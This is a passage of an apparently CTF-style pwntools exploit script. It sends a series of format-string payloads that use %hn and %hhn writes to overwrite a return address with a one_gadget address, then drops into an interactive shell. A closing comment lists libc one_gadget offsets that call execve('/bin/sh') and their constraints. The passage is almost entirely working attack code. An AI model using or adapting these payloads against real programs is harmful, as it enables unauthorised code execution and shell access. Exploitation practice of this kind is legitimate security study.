payload+='%'+str(((onegadget>>16)&0xffff)-0x23)+'c%41$hn\x00'
payload=payload.ljust(0x100,'\x00')
io.send(payload)

payload='%'+str(0x23)+'c%39$hhn'
payload+='%'+str(((ret_next_addr+4)&0xffff)-0x23)+'c%27$hn\x00'
payload=payload.ljust(0x100,'\x00')
io.send(payload)
payload='%'+str(0x23)+'c%39$hhn'
payload+='%'+str(((onegadget>>32)&0xffff)-0x23)+'c%41$hn\x00'
payload=payload.ljust(0x100,'\x00')
io.send(payload)

payload='%'+str(0xc4)+'c%39$hhn\x00'
gdb.attach(io)
pause()
io.send(payload)

io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''
--- 本文结束 The End ---